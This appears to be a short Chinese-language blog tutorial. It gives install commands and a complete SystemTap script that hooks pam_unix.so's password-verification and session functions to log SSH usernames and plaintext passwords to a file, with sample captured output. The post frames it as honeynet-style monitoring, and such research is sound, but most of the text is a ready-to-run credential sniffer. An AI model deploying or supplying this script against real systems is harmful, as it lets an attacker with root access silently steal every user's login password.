systemtap 是一個 kernel debug 工具,所以可以分析 kernel 層級的東西。
Linux 利用 PAM 來驗證 使用者 資訊,所以 systemtap 就可用 pam_unix.so 來存取過濾 SSH 登入的過程,進而抓取我要的東西。
可以想像這樣子就像是 honeynet 了
安裝相關套件
yum install systemtap debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)
vi capture.stp
#!/usr/bin/stap
global username, pass, isSuccRet = 1;
probe process("/lib64/security/pam_unix.so").function("_unix_verify_password")
{
username = user_string($name);
pass = user_string($p);
}
probe process("/lib64/security/pam_unix.so").function("_unix_verify_password").return
{
if ($return == 0)
{
printf("User: %s\nPassword: %s\n\n", username, pass);
isSuccRet = 0;
}
}
probe process("/lib64/security/pam_unix.so").function("pam_sm_open_session")
{
if (isSuccRet != 0)
{
printf("Login via ssh service.\n\User: %s\nPassword: %s\n\n", username, pass);
}
isSuccRet = 1;
}
執行捕抓
stap capture.stp -o password.txt
測試登入,就可以看到 password.txt 裡記錄著
User: root Password: 123456
留言